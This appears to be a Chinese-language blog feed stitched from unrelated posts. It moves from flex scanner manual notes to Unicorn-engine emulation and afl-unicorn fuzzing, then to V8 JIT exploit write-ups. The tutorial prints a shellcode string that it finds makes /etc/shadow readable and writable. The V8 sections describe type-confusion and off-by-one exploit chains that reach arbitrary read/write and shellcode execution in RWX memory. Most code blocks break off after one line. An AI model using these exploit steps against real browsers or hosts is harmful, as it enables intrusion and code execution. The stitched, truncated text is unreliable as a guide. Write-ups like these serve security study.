可以定义宏以提供始终在第一次扫描之前(以及在完成扫描器的内部初始化之前)执行的操作。例如,它可以被用来调用一个例程(routine )来读入数据或者打开一个日志文件。
宏yy_set_interactive(is_interactive)
可以被用来控制当前缓冲区是否被认为是交互式的。一个交互式的缓冲区处理速度较慢,但是当扫描器的输入源是交互式时,必须使用交互式缓冲区,以避免由于等待填充缓冲区而引出的问题(请参阅 Scanner Options 一文中关于‘-I’ flag的讨论)。
宏调用中的非零值会将缓冲区标记为交互式,零值记为非交互式的。请注意,这个宏的使用将覆盖%option always-interactive
和 %option never-interactive
(参阅 Scanner Options)。`yy_set_interactive必须在开始扫描交互式(或者非交互式)缓冲区之前调用。
The macro yy_set_bol(at_bol) can be used to control whether the current buffer’s scanning context for the next token match is done as though at the beginning of a line. A non-zero macro argument makes rules anchored with ‘^’ active, while a zero argument makes ‘^’ rules inactive.
如果从当前缓冲区扫描的下一个token将启用“^”规则,则宏YY_AT_BOL()返回true,否则返回false。
在生成的扫描程序中,所有actions都收集在一个大的switch语句中,并使用YY_BREAK
分开,YY_BREAK
可以被重新定义。
默认情况下,它只是一个break
,用于将每个规则的action与后面规则的action分开。
允许对YY_BREAK
重新定义,例如,C++用户可以通过#define YY_BREAK 来让YY_BREAK不执行任何操作(要非常小心,每个规则都需要以一个break
或一个return
结尾!),以避免遇到提示编译warnning(unreachable statement),因为规则的action以return
的话,则YY_BREAK
无法访问到。
本节总结了在rule actions下,可供用户使用的一些值:
char *yytext
维护当前token的文本信息,它可以被修改,但是不能加长,即不能在末尾添加字符。
如果特殊的directive %array出现在scanner description的first section,那么yytext
将被声明为char yytext[YYLMAX]
.
YYLMAX
是一个宏定义,默认值为8KB
,你可以在first section重定义它的大小。 使用%array
会导致scanner的速度稍慢一些,但是yytext
的值不受unput()
调用的影响。当yytext
是字符指针时,unput()
可能会破坏其值。与%array相对的是%pointer,%pointer是默认设置。
生成c++ scanner(开启“-+”flag)时,不能使用%array。
int yyleng
保存当前token的长度
FILE *yyin
是默认情况下flex读取的文件。它可以重新定义,但只有在开始扫描之前或遇到EOF
之后才有意义。在扫描过程中更改它会产生意外结果,因为flex会缓存其输入。当由于遇到EOF
而终止扫描后,可以重新分配yyin
指向新的输入文件,然后再次调用scanner以继续扫描。
void yyrestart( FILE *new_file )
可以将yyin
指向新的输入文件。立即切换到新文件(任何先前缓存的输入都将丢失)。请注意,使用yyin
作为参数调用yyrestart()
会丢弃当前的输入缓冲区(input buffer),并继续扫描相同的输入文件。
FILE *yyout
是执行ECHO操作的文件。可以由用户重新定义。
YY_CURRENT_BUFFER
返回 YY_BUFFER_STATE
句柄到当前的缓冲区
YY_START
返回与当前开始条件相对应的整数值。随后,您可以将这个值与BEGIN一起使用以返回到该开始条件。
flex的主要用途之一是与yacc解析器生成器一起使用。 yacc解析器应当调用yylex()
来查找下一个输入token。yylex应返回下一个token的类型,并将所有关联的值放入全局变量yylval
中。
要将flex与yacc一起使用,请为yacc指定“-d”选项,来生成文件y.tab.h,其中包含所有出现在yacc输入中的%token
的定义。
然后,将此文件包含在Flex scanner中。例如,如果token之一是TOK_NUMBER
,则scanner的一部分可能看起来像:
1 | %{ |
//todo
//todo
重要:当前的扫描类的形式是实验性的,并且在各主要版本中有较大的不同。
flex提供两种不同的方式来生成用于C++的scanner。第一种方式就是简单的编译一个由flex生成的scanner,scanner由C++编译而不是C编译。你应该不会遇到任何编译错误(有就查看错误报告)。你可以在rule actions中使用C++代码而不是C代码。注意scanner的默认输入源仍然是 yyin, 默认回显仍然是 yyout。这两者都是 FILE* 变量,而不是C++流。
你也可以使用flex去生成一个C++ scanner类,使用’-+’选项(或者,相等的,%option c++),如果flex可执行文件的名称以”+”结尾,则会自动指定,比如 flex++。
当使用此选项时,flex默认将扫描程序生成为文件lex.yy.cc 而不是 lex.yy.c。生成的扫描程序包括头文件 FlexLexer.h,该文件定义了两个C++类的接口。
在FlexLexer.h中的第一个类是FlexLexer,它提供定义基本扫描程序类接口的抽象基类。它提供以下成员函数:
const char* YYText()
返回最近匹配的token的文本,与yytext等效。
int YYLeng()
返回最近匹配的token的长度,与yyleng等效。
int lineno() const
返回当前输入行号(参考 %option yylineno),如果未使用 %option yylineno,则返回1。
void set_debug( int flag )
设置scanner的调试flag,等效于分配给 yy_flex_debug(参考Scanner Options),注意必须使用%option debug来构建扫描程序,才能在其中包含调试信息。
int debug() const
返回调试标志的当前设置。
还提供了等效于yy_switch_to_buffer(),yy_create_buffer()(尽管第一个参数是istream&对象的引用,而不是FILE *),yy_flush_buffer(),yy_delete_buffer()和yyrestart()(第一个参数依旧是istream&对象的引用)的成员函数。
在FlexLexer.h中的第二个类是yyFlexLexer,它是从FlexLexer派生的。它定义了以下附加成员函数:
yyFlexLexer( istream* arg_yyin = 0, ostream* arg_yyout = 0 )
yyFlexLexer( istream& arg_yyin, ostream& arg_yyout )
使用给定的输入和输出流构造yyFlexLexer对象。如果未指定,则流分别默认为cin和cout。yyFlexLexer不拥有其流参数的所有权。用户有责任确保所指向的流至少在yyFlexLexer实例中保持有效。
virtual int yylex()
yylex()和原始的flex scanner起着相同的作用:它会扫描输入流并消耗令牌(tokens),直到rule的action返回一个值。如果你从yyFlexLexer派生一个子类S并想要在yylex()里访问S的成员函数和变量,则需要使用%option yyclass =”S”通知flex您将使用该子类而不是yyFlexLexer。
在这种情况下,Flex不会生成yyFlexLexer::yylex(),而是会生成S::yylex()(并且还会生成一个dummy yyFlexLexer::yylex(),如果调用它,则会调用yyFlexLexer::LexerError。
virtual void switch_streams(istream* new_in = 0, ostream* new_out = 0)
virtual void switch_streams(istream& new_in, ostream& new_out)
重新分配yyin到new_in(如果非空),重新分配yyout到new_out(如果非空),如果重新分配yyin,则删除先前的输入缓冲区。
int yylex( istream* new_in, ostream* new_out = 0 )
int yylex( istream& new_in, ostream& new_out )
首先通过switch_streams(new_in,new_out)切换输入流,然后返回yylex()的值。
此外,yyFlexLexer定义了以下受保护的虚函数,您可以在派生类中重新定义它们以定制scanner:
virtual int LexerInput( char* buf, int max_size )
将最多max_size个字符读取到buf中,并返回读取的字符数。为了表示输入结束,返回0。
注意interactive scanner(参考”Scanner Options中的’ -B’和’-I’ flag)定义宏YY_INTERACTIVE。
如果重新定义LexerInput()并需要根据scanner是否正在扫描interactive input source而采取不同的操作,则可以通过#ifdef语句测试此名称的存在。
virtual void LexerOutput( const char* buf, int size )
从缓冲区buf中写出size个字符,如果scanner的rules可以匹配带有NUL的text,则该文本在NUL终止时也可能包含内部NUL。(?)
上句原句:writes out size
characters from the buffer buf
, which, while NUL
-terminated, may also contain internal NUL
s if the scanner’s rules can match text with NUL
s in them.
virtual void LexerError( const char* msg )
报告致命错误消息。该函数的默认版本将message写入流cerr并退出。
注意yyFlexLexer对象包含其整个扫描状态。因此,您可以使用此类对象创建可重入的scanner,但另请参考Reentrant。你可以实例化同一yyFlexLexer类的多个实例,并且你还可以使用上述的”-P”选项在同一程序中将多个C++ scanner类组合在一起。
最后,请注意%array功能不适用于C++扫描程序类,你必须使用%pointer(默认设置)。
这是一个简单的C++ scanner的示例:
1 | // An example of using the flex C++ scanner class. |
如果要创建多个(不同)词法分析器类,你可以使用”-P”标志(或者是prefix=选项), 将每个yyFlexLexer重命名为其他一些”xxFlexLexer”。然后你可以将<FlexLexer.h>
包含在你的其他每一个词法分析类(lexer class)源码中,首先按以下方式重命名yyFlexLexer:
1 | #undef yyFlexLexer |
例如,如果你为一台scanner使用了%option prefix =”xx”,而另一台则使用%option prefix =”zz”。
//todo
//undo
//todo
//undo
//todo
//todo
您可能希望阅读有关以下程序的更多信息:
http://westes.github.io/flex/manual/Indices.html#Indices
Lexical Analysis With Flex, for Flex 2.6.2
http://westes.github.io/flex/manual/
我一直以来都work在语法类fuzz上,产出了很多高质量的漏洞,但事实上我对其他fuzz所知甚少,这个系列权做对各类fuzz的思考和学习记录。
主要是unicorn-engine-tutorial这篇文章的学习和一些思考。
hxp CTF 2017 Fibonacci
因为想折腾新玩意,所以顺便安装了一个ghrida,教程在这
这个程序整体来看就是输出打印flag,不过打印的非常非常慢。
1 | sakura@sakuradeMacBook-Pro:~/unicorn$ ./fibonacci |
我们的目的是将这个程序用unicorn engine跑起来,那么就开始吧。
1 | from unicorn import * |
首先需要自己手动去初始化虚拟内存。
PS.说到这里我觉得很多对操作系统没什么概念或者学的很差的同学应该就不知道为什么了,这里给出两个资料,把相关部分都看完就理解了。
程序的表示、转换与链接 关于可执行程序的装载和链接
程序的执行和存储访问 关于虚拟内存
异常、中断和输入输出
贴张图,感兴趣的自己去看csapp。
找到程序载入到虚拟内存的基地址,0x00400000,然后我们在0x0地址处分配一个栈。
1 | BASE = 0x400000 |
1 | mu.mem_map(BASE, 1024*1024) |
将程序load到基地址处,然后设置rsp指向stack。
1 | mu.mem_write(BASE, read("./fibonacci")) |
现在我们已经像真正加载可执行程序一样,将其加载到了内存中,现在我们就可以开始运行我们的仿真了。
现在确定一下想要仿真执行的起始地址和终止地址。
还是很好找的,0x004004e0-0x00400582
1 | mu.emu_start(0x00000000004004E0, 0x0000000000400582) |
unicorn在模拟执行程序的时候提供hook功能。
下面这个函数让我们在模拟执行每条指令之前打印出该指令的地址,指令大小。
1 | def hook_code(mu, address, size, user_data): |
最终组合就是下面这个脚本。
1 | import struct |
运行遇到如下问题,看一下0x4004ef这条指令为什么会访问到不可访问的地址。
1 | sakura@ubuntu:~/unicorn$ python3 fibonacci.py |
BSS段属于静态内存分配。通常是指用来存放程序中未初始化的全局变量和未初始化的局部静态变量。未初始化的全局变量和未初始化的局部静态变量默认值是0,本来这些变量也可以放到data段的,但是因为它们都是0,所以它们在data段分配空间并且存放数据0是没有必要的。
在程序运行时,才会给BSS段里面的变量分配内存空间。
在目标文件(*.o)和可执行文件中,BSS段只是为未初始化的全局变量和未初始化的局部静态变量预留位置而已,它并没有内容,所以它不占据空间。
虽然我并不熟知unicorn的运作原理,这只是我第一次使用它,但我们是通过read的方式直接把可执行文件读进基地址的,想也知道bss段的内存肯定是没有被分配的。
所以这里的解决方案是直接在执行这些有问题的指令前,将其rip指向下一条指令,从而跳过这些地址。
此外因为我们没有把glibc加载到虚拟地址里,所以我们也不能调用glibc函数。
1 | instructions_skip_list = [0x00000000004004EF, 0x00000000004004F6, 0x0000000000400502, 0x000000000040054F] |
改一下hook函数就可以了。
然后因为我们需要打印出flag,而原本flag是通过如下函数打印的。
1 | _IO_putc((int)(char)uVar3,(_IO_FILE *)stdout) |
而此时_IO_putc是没有加载到内存中的,所以我们并不能调用这个函数。
但是可以看到要打印的flag作为第一个参数传递给该函数,而第一个参数是保存在rdi中的,所以只需要在执行这条指令之前读取rdi的值,然后把这个值打印出来即可。
1 | def hook_code(mu, address, size, user_data): |
其实对我来说能把程序用unicorn跑起来就算是完成任务了。
算法优化我并不感兴趣,所以看一下下一个task。
分析如下shellcode
1 | shellcode = "\xe8\xff\xff\xff\xff\xc0\x5d\x6a\x05\x5b\x29\xdd\x83\xc5\x4e\x89\xe9\x6a\x02\x03\x0c\x24\x5b\x31\xd2\x66\xba\x12\x00\x8b\x39\xc1\xe7\x10\xc1\xef\x10\x81\xe9\xfe\xff\xff\xff\x8b\x45\x00\xc1\xe0\x10\xc1\xe8\x10\x89\xc3\x09\xfb\x21\xf8\xf7\xd0\x21\xd8\x66\x89\x45\x00\x83\xc5\x02\x4a\x85\xd2\x0f\x85\xcf\xff\xff\xff\xec\x37\x75\x5d\x7a\x05\x28\xed\x24\xed\x24\xed\x0b\x88\x7f\xeb\x50\x98\x38\xf9\x5c\x96\x2b\x96\x70\xfe\xc6\xff\xc6\xff\x9f\x32\x1f\x58\x1e\x00\xd3\x80" |
先直接反汇编看一眼,嗯,看不懂。
作者提示了这个shellcode所用的架构是x86-32,且明确说明了是使用了系统调用。
那基本思路就是hook一下int 80,然后把使用的系统调用号从eax里取出来,然后参数依序从ebx,ecx,edx里取出来。
1 | from unicorn import * |
1 | sakura@ubuntu:~/unicorn$ python3 sc.py |
打开系统调用的解释网站对照看一下。
https://syscalls.kernelgrok.com/
查了一下chmod命令可以使用八进制数来指定权限。所以438就是666,代表读写权限。
hex(4194392)->’0x400058’,是一个指针,指向的是文件名的字符串,把这个字符串取出来就知道到底读的是什么文件了。
这里吐个槽python3的mu.mem_read(ebx,32)返回一个bytearray,需要先bytes(xx)转成bytes,浪费了我半小时,另外bytes split要用b’xxx’
1 | >>> Tracing instruction at 0x40006b, instruction size = 0x2 |
这样我们就知道这个shellcode其实是将/etc/shadow设置成可读可写。
gcc function.c -m32 -o function.
调用super_function,返回的方式1。
1 | int strcmp(char *a, char *b) |
从前面的学习,我们已经学会了如何把程序加载进内存用unicorn仿真跑起来,和怎么用hook的方式去改变代码的执行流。
感觉解法很多…
分析一下题意,应该是指只调用super_function函数,而不执行代码的其他部分。
假设基地址是0x08048000,那么要执行的就是0x08048000+0x57b-0x08048000+0x5b1
然后考虑32位传参,先看一下栈帧结构。
图来自CSAPP第二版。
1 | if (a==5 && !strcmp(b, "batman")) |
从代码可以看出,传入的参数a和b的值应为5和”batman”
从汇编代码最后的Ret 8可以看出来被调用者平衡堆栈,显然是stdcall调用约定。
stdcall的调用约定意味着参数从右向左压入堆栈。
当我们开始执行super_function的时候,esp是指向返回地址的。
所以a的值在esp+4,b的值在esp+8。(不理解的看图)
然后返回值会保存在eax里。
1 | import struct |
到这里我的unicorn学习就结束了,感觉大概熟悉了一下API和使用。
另外ghrida真的不好用。。我准备换回IDA了。
先在sec.today上找一下资料
https://medium.com/hackernoon/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf
第一篇我就不赘述了,
稍微值得一提的就是这个图了,它使用AFL来mutate样本去生成数据,然后将数据读到一个固定的地址里,然后harness会从这个地址读取数据并运行要仿真的指令,如果出现crash,则模拟这个行为让harness崩溃,从而告知AFL crash发生,从而记录下crash样本。
harness基本上就是用了上面这些task里类似的方法去用unicorn把指令仿真执行起来,如下。
1 | """ |
看一下第二篇
https://hackernoon.com/afl-unicorn-part-2-fuzzing-the-unfuzzable-bea8de3540a5
第二篇以一个相对具体的例子,将afl-unicorn的使用场景从不到30行的case扩展到了一个CGC CTF题
FSK_Messaging_Service
题目描述是这样的:这是一项服务,该服务实现了具有分组FSK解调前端,分组解码,处理以及最终将其解析为简单Messenger服务的分组无线接收器。
安装afl-unicorn
1 | cd /path/to/afl-unicorn |
另外这里还有个坑,如果你在18.04系统上不能运行起来它,可以试试16.04,这卡了我几个小时。
首要的工作是对要fuzz的代码进行理解,也就是说理清楚要fuzz的起点和终点,需要构造的输入是什么?输入是如何传递进去的,输入上有哪些约束,比如最大最短长度,是否需要满足某个具体的算式,这个约束是不变的还是动态的。
虽然我其实不太看得懂这些东西,但是粗略的理解来说就是如果直接构造输入喂进去,那么会卡在Demodulation Logic部分,永远无法正确的突破。
可以粗略的理解成,如果你用AFL去fuzz js引擎,那它几乎不太可能去生成有效的js语法,会卡在语法parser那里,举个例子,for进行一轮字节变异成aor,能通过才见鬼了。
而通过AFL-unicorn我们可以直接过掉前面这部分代码,直接将Message Packet Parsing Logic作为Harness,把Packets作为原始输入去fuzz。
但其实看到这里,Packet的构造还是存在一定问题的,首先即使这个Packet喂进去了造成Crash,如何从更上层输入去构造出这个Packet,会不会有更上层的过滤导致永远不可能构造出来这个Packet,这都是很容易考虑到的问题,不过这里暂时略过这个问题往下看吧。
从Packets做输入,那么关键代码就在packet.c里,
https://github.com/trailofbits/cb-multios/blob/master/challenges/FSK_Messaging_Service/src/packet.c
选择要fuzz的函数是cgc_receive_packet
函数的基本功能如下:
现在我们开始考虑参数和约束
void cgc_receive_packet( uint8_t *pData, uint8_t dataLen, uint16_t packetCRC )
pData是指向数据包的指针,dataLen是其长度,packetCRC是16位CRC校验和。
显而易见的约束是CRC要正确。
1 | // Perform Checksum check |
其实看到这里就感觉没必要继续看下去了,价值很有限了。
简单地说接下来的工作是要dump出有效的进程上下文,这个原因十分简单,在之前我们学习Unicorn的时候就遇到了很多问题,有很多运行时才会分配的内存区域,比如堆分配、栈指针、全局变量这些东西。
但是说到底……我要是能把固件跑起来,我还要你这个仿真干嘛
问题就在这里了,所以我感觉除了极小量级的代码可能还能用一下,越是复杂,接口不规范的东西,越是不可能用这个东西跑起来了。
但权做学习吧。
afl-unicorn的helper tools
https://github.com/Battelle/afl-unicorn/blob/master/unicorn_mode/helper_scripts/unicorn_dumper_ida.py
IDA的版本要求<7,我试一下gdb版的能不能用。
https://github.com/Battelle/afl-unicorn/blob/master/unicorn_mode/helper_scripts/unicorn_dumper_gdb.py
选择在此处断下,此时eax中存放pData,edx(dl)里存放dataLen
在此处dump进程上下文。
我在这卡住了,因为我想了想我好像并不知道该怎么hit到cgc_receive_packet的代码,在进行了”繁琐”的逆向工程之后。
我找到了作者的issue。
https://github.com/Battelle/afl-unicorn/issues/9
它给了一个patch用来生成有效输入。
1 | ./pov > case |
差不多效果这样。
然后开始dump上下文了。
1 | sakura@ubuntu:~/unicorn$ gdb ./FSK_Messaging_Service |
大概这样。
粗略看了一下dump程序,基本上就是调用了gef的get_process_maps接口,然后依次把每个segment的内存保存下来和调用get_register接口保存寄存器信息。
接下来就开始编写harness了。
其实用c来写比python效率要快很多,但是为了快速学习,这里就用python搞一下。
整体的Harness的流程就是:
基本上每个harness都是这样,对着往里面填模板就好了。
这里的unicorn_loader在这。
用处就是把我们之前dump出来的context加载进去。
1 | import argparse |
整体浏览一下,TODO的地方不多,加载context之类的工作,比如之前我们学习unicorn时候要做的很多分配栈地址之类的,都已经在unicorn_loader里给通过load我们之前dump出的context来自动完成了,简单快捷。
那么把每处TODO大概看看
hook crc校验和
hook malloc,好处是我们可以自己实现自己的Guard Page,从而在越界读写的时候立刻crash。
hook free
hook printf
hook cgc_transmit
1 | import struct |
运行fuzz
需要唯一些输入进去。
那就random一些就好了。
1 | # -*- coding: utf-8 -*- |
1 | /home/sakura/unicorn/afl-unicorn/afl-fuzz -U -m none -i /home/sakura/unicorn/testcase/ -o /home/sakura/unicorn/fuzz_out/ -- python harness.py /home/sakura/unicorn/UnicornContext_20200405_045024/ @@ |
crash很多,跑了大概几秒钟,大概打开看看,定位一下漏洞点。
但问题来了,没有栈回溯,我怎么定位到漏洞点。
我简单的排查了一下,因为这道题的代码量并不大,尤其是我hook的代码并不多,所以我可以trace每条指令,和执行时它的一些关键信息。
而这里比较简单的就是我review了一下memcpy的交叉引用,然后在new_packet里面找到了我要的。
因为我是打印了执行流的,我看了一下地址
在我检索之后发现log里有call cgc_memcpy,并且里没有trace到它的下一条指令0x000000000804db8e
到这里基本上就可以知道漏洞点了。
简单的思考一下,pNewPacket的buf大小是0x40,也就是64字节。
但是很显然,在cgc_receive_packet里是根本没有对其进行dataLen的校验的。换而言之,
这里cgc_g_packetHandlers是一个全局变量,用处大概是填充诸多类型的packetType用来进行check。
而只需要在pData第一个字节构造好type类型,就可以进入add_new_packet函数里,并造成一个oob write了。
afl-unicorn的局限性在于,它和unicorn一样,在你模拟执行的时候,必须hook一些函数来让它正常运行,为了尽可能简单的来模拟环境,你可能还需要去运行固件并dump内存上下文,这有时是困难的,起码我在刚开始研究afl-unicorn时候的初衷是因为我有一些东西不能直接跑起来。
此外在trace crash路径的时候,虽然我是逐指令hook的,但是事实上这样在遇到一些循环之类的时候会造成log爆炸的增长,我相信你不会想看到这种东西的。
所以还需要根据实际情况去hook需要hook的代码。
我已经很久没做任何逆向了,不过我有很多感兴趣的目标,我需要掌握的更多。
后续我可能还会再更新一篇关于afl-unicorn源码的笔记,不过可能会比较简单,因为我不是那种非常注意细节的人,我只关心我应该怎么改才能让我的工作跑起来。
这个系列不出意外我会长期更新,并会在适当的时候写一些我曾经使用过的,挖掘到了高质量浏览器漏洞的fuzz的内容,事实上都非常简单和有趣。
所有的代码可以在这里找到。
http://eternal.red/2018/unicorn-engine-tutorial/
https://hackernoon.com/afl-unicorn-part-2-fuzzing-the-unfuzzable-bea8de3540a5
]]>1 | diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc |
patch如上,实际上是在MachineOperatorReducer的这个case中
1 | case IrOpcode::kUint32LessThan: { |
首先这个patch很简单,就是本来如果是1<1这样的kUint32LessThan比较,应该替换成false节点,而这里变成1<2(m.right().Value()+1)
),于是就替换成了true节点。
这个bug非常明显,但是如何利用呢?实际上对array边界的检查可以lower到Uint32LessThan节点,所以这实际上可以转化成一个array的off-by-one漏洞。
然后后续利用和*ctf 2019 OOB中使用的方法一致。
我做了几组case,先看一个比较简单的case
1 | function main() { |
typer phase
在取arr[idx]之前会进行CheckBounds,然后在Simplified lower之后
1 | void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) { |
然后在Effect linearization中被Lower成Uint32LessThan。
1 | Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node, |
那么是不是把idx直接改成4,就可以越界读写一个element呢?
事实上没那么简单,它们生成的IR完全不一样。
1 | function main() { |
typer phase
我们得到的IR是这样的。
代码在JSNativeContextSpecialization::BuildElementAccess
里
首先判断是否是load_mode=LOAD_IGNORE_OUT_OF_BOUNDS
比较简单的一种情况就是array的index超出了array的length。
这样我们需要对index进行check,看是否超出了Smi::kMaxValue,引入了上面的CheckBounds节点。
1 | // Check if we might need to grow the {elements} backing store. |
然后还需要对index进行实际的check,也就是比较index是否小于array length,引入了一个NumberLessThan节点。
1 | // Check if we can return undefined for out-of-bounds loads. |
然后这个节点在LoadElimination进行TyperNarrowingReducer的时候。
1 | switch (node->opcode()) { |
由于left_type即index的type信息被分析为(4,4),right_type即array length的type信息被分析为(4,4)
满足else if (left_type.Min() >= right_type.Max())
所以kNumberLessThan的类型会被更新成false,然后在ConstantFoldingReducer时候
1 | Reduction ConstantFoldingReducer::Reduce(Node* node) { |
被直接折叠成了false节点。
最后只剩下了对Smi::kMaxValue的CheckBounds。
然而这对我们来说毫无意义。
所以我们的第一步就是构造PoC,bypass掉ConstantFoldingReducer,这一步其实非常简单,只要让NumberLessThan在TyperNarrowingReducer的时候,不被类型更新成false就可以了。
1 | function main() { |
idx的range取决于20和16号节点,如下。
1 | #21:SpeculativeNumberBitwiseAnd[SignedSmall](#16:NumberConstant, #20:NumberConstant, #17:Checkpoint, #12:JSStackCheck) [Type: Range(0, 4)] |
经过以下的typer分析得到range为(0,4)
1 | SPECULATIVE_NUMBER_BINOP(NumberBitwiseAnd) |
然后checkbounds的range也被分析成(0,4)
即取index和length的range的交集。
1 | Type OperationTyper::CheckBounds(Type index, Type length) { |
于是NumberLessThan的left_type即CheckBounds(实际上当成index也可以理解)的范围不再是(4,4),而是被分析成了(0,4)
不再满足left_type.Min() >= right_type.Max())
也就不会被折叠了。
于是最终的PoC就可以给出
1 | function main() { |
有了越界读写一个element的原语,接下来就是构建完整的漏洞利用。
思路是:
首先分配两个array,一个double array,一个object array
然后通过覆盖object array的map为double map,就可以将其中的用户空间对象leak出来。
然后在array的elments去fake一个arraybuffer。
然后通过将double array的map覆盖成object array,就可以将fake好的arraybuffer给当成object给取出来。
而这个fake的arraybuffer的内容是我们可控的,于是就可以任意地址读写了。
接下来就是找到wasm_func里rwx的地址,将shellcode写入执行即可。
详细的思路参考我写的*ctf 2019 OOB exp。
1 | diff --git a/src/objects/code.cc b/src/objects/code.cc |
1 | commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d |
题目给了两个patch,第一个patch是禁用了code dependencies,第二个patch应该是禁用了wasm这种利用方法。
要理解这个patch,就要知道v8中不止有
实际上注册对arr的type的dependencies的地方在ReduceElementAccess的BuildCheckMaps中,换句话说,如果我们要check的map是stableMap,就直接注册一个 compilation dependencies的回调到map中。
如果不是,就插入一个checkMap节点到effect chain中。
可以学习一下这个漏洞,很有趣。
1 | Reduction JSNativeContextSpecialization::ReduceElementAccess( |
而这个patch就是把install compile dependency的代码给禁用了,所以如果我们使用一个stable map的arr,将不会有任何的类型检查,于是就有了一个type confusion。
非stable map
stable map
所以给出poc如下:
1 | arr = [1.1, 2.2, 3.3,4.4]; |
stephen给出了一种非常精巧的漏洞利用方法,而不是使用wasm rwx内存,实际上这个迟早要被禁用。
通过poc我们很容易就可以得到任意地址读写的原语。
为了构建rop链,我们可以使用如下的方法,来自stephen,非常感谢。
另外如果challenge只给了v8 binary,而是给了一个chromium的话,也可以参考我博客上关于bug-906043的漏洞利用。
]]>很久之前做的了,和*CTF那题差不多,顺便就发出来。
1 | mkdir v9 && cd v9 |
这部分就是一些可复用的代码。
1 | String.prototype.padLeft = |
在这次exp编写中,用到的主要是
1 | Int64.fromDouble(double num); |
Int64.fromDouble(double num)
1 | print(Int64.fromDouble(1.1)); |
new Int64(int num).asDouble();
1 | print(new Int64(0x3ff199999999999a).asDouble()); |
1 | diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc |
每一个对象都有一个map来标记这个对象的类型,而checkmap就是用来检查这个对象的类型有没有变化的。
如果没变的话就可以一直走fast path,否则就要baliout。
根据给出的含漏洞的patch可知,JIT优化中的函数调用层次如下:
1 | Reduction RedundancyElimination::Reduce(Node* node) { |
首先在Reduce里遇到CheckMaps的时候
1 | case IrOpcode::kCheckMaps: |
为了找到最优的dominates,会去遍历其他的check
1 | for (Check const* check = head_; check != nullptr; check = check->next) { |
如果找到其他的CheckMaps的话,会检查是否“兼容”,会去看它们的maps,如果第一个检查已经包含第二个检查的话,就会把第二个检查给去掉。
1 | if (Node* check = checks->LookupCheck(node)) { |
type confusion可以让我们得到对于用户空间任何object的读写权限,可以将任意一个对象的指针当成一个double读出来,也可以将任意一个double当成一个对象的指针写进去,这样我们就可以在一个地址伪造一个对象。
通过type confusion去fake map,fake ArrayBuffer,然后通过改我们fake的ArrayBuffer的BackingStore得到任意地址读写的原语。
PS.事实上这步可能不需要。只是当时学习别人exp的时候写的
通过type confusion去leak ab的prototype地址,且由于prototype和constructor的地址偏移是固定的,所以可以去通过prototype的地址去计算出constructor的地址,然后将他们写入我们要fake的map对应的位置。
不过也可以直接用ab.__proto__.constructor
得到constructor的地址。
1 | var ab=new ArrayBuffer(0x20); |
log
1 | 要被leak的ArrayBuffer |
前后两次gc(),让ab_map_obj这个double array移动到old space里,并且让其和它的elements地址偏移恒定。
1 | gc(); |
1 | DebugPrint: 0x3e0338a149e9: [JSArray] in OldSpace |
然后将其ab_map_obj的地址leak出来,加上0x70就是我们fake的map的地址。
1 | print("要leak出ab_map_obj的数组"); |
这里顺便说一句,无论是leak还是fake的时候,得到的都是double,写入的也是按照double写入,这个调试一下就知道了。
在map被fake好了之后,我们就可以fake ArrayBuffer得到任意地址读写的原语了。
依然是前后两次gc(),然后fake一个ArrayBuffer结构。
1 | gc(); |
然后将这个fake好的ArrayBuffer的地址leak出来,依然是先leak fake_ab这个JSArray的地址,然后根据偏移0x70找到我们在elements里fake的ArrayBuffer的地址。
1 | arr2=[1.1,2.2,3.3,4.4]; |
log
1 | leak出的map地址是810f1c94a01 |
我们可以在callback里改掉array的类型,比如将一个double array改成了object array,但是由于type confusion,我们在第二次对arr[0]重新写入值的时候,依然把arr当成一个double array,并将其写入。
这样实际上,我们把一个double的数值当成一个object指针写入。
如下,写入之后,arrr[0]将由于我们fake的arraybuffer的map,被视作一个arraybuffer对待,于是可以用它来初始化一个DataView。
DataView就可以操作这个fake的ArrayBuffer的BackingStore地址对应的内存。
1 | arrr=[1.1,2.2,3.3,4.4]; |
由此,我们就可以读取对应于code指针所在地址的code指针的值。
如下图log,我需要得到code的地址,
1 | gdb-peda$ job 0xac9a5c986c9 |
从图中可以看出来,就是function-1(这个减一是因为v8中指针末位都置为1,需要去掉)+0x38,我们把它leak出来。
1 | gc(); |
所以找到这个地址后,我们将其写入fake arraybuffer的backingstore,就能用dataview把这个地址对应的数据读出来。
1 | fake_dv = new DataView(arrr[0],0,0x4000); |
但是这个地址,并不是真正的函数对应的执行的代码的入口,它还需要加上0x5f,如图:
1 | gdb-peda$ job 0x19d27c522f01 |
于是我们还要再加上0x5f
1 | shellcode_address=shellcode_address+new Int64(0x5f).asDouble(); |
同上,将函数要执行的代码的地址写入到BackingStore,并用dataview向这个地址写入shellcode。
1 | fake_ab[4]=shellcode_address; |
我写了两个版本的exp,思路一样,但是写法稍微有点不同,版本一相对简洁舒服一些,版本二感觉会稳定一点。
1 | function gc(){ |
1 | // leak出object的地址,即将一个object当成double读出来 |
https://bugs.chromium.org/p/chromium/issues/detail?id=659475
https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6
1 | function Ctor() { |
1 | --- Raw source --- |
1 | --- Raw source --- |
据此,我们可以得出结论,在JIT优化之后,会直接从n中取出直接取出自定义属性数组中,对应于某属性偏移的字段,而不做任何合法性校验。
1 | function Check() { |
1 | 0x1c4269306d80 0 55 push rbp |
1 | 0x2b753502250:0x00003182a4182361->null0x00000000803b1506 |
表示JavaScript function的对象
实际演示
存放function f()在数组中
用0xdeadbee查找这个数组的内存位置
kCodeEntryOffset is a pointer to the JIT code (RWX area), many strategies to realize arbitrary code execution by writing shellcode before this
1 | // int->double |
1 | var ab = new ArrayBuffer(0x200); |
这里为什么要这么做呢,原因其实在test里已经可以看到的,如果我们写一个smi到一个属性字段,当然可以直接写到该属性字段对应的偏移。
也就是如图xyz1,我直接写入了一个0x1821923f的smi,注意smi最大是多少呢,在64位和32位有所不同。
在64位平台上V8对smi定义的范围是[-2³¹,2³¹-1],即最大0x7fffffff,显然一个对象的地址会大于它,从而无法直接去写一个地址到该属性字段对应的偏移。
1 | gdb-peda$ x/20gx $rax-1 |
所以我们要写null string的地址到它自己的value,从而可以通过写value来再次修改null string。
1 | Check(String(null)); |
这里我再次提醒一下为什么要写入这个地址。
